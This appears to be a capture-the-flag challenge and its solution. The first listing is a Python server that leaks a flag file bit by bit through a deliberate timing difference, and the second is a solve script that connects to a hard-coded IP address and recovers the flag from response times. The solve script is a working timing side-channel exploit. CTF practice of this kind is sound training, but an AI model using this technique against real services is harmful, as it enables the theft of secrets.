1
from math import gcd
2

3
with open("flag.txt", "r") as f:
4
    flag = f.read()
5

6
while 1:
7
    mask = int(input("gimme ur mask > "))
8
    bits = ''.join(format(ord(c), '08b') for c in flag)
9
    for bit in bits[mask-1:mask]:
10
        if bit == '1':
11
            i = 1
12
            while gcd(i, 279557) == 1:
13
                i = i + 1
14
        else:
15
            pass

1
import socket, time
2

3
s = socket.socket()
4
s.settimeout(30)
5
s.connect(("159.65.235.153", 4446))
6

7
bits = ""
8
for i in range(1, 500):
9
    s.recv(4096)
10
    start = time.perf_counter()
11
    s.send(f"{i}\n".encode())
12
    s.recv(4096)
13
    duration = time.perf_counter() - start
14
    bits += "1" if duration >= 0.17 else "0"
15

16
    flag = "".join(chr(int(bits[j:j+8], 2)) for j in range(0, len(bits)-7, 8))
17
    if "}" in flag:
18
        print(flag)
19
        break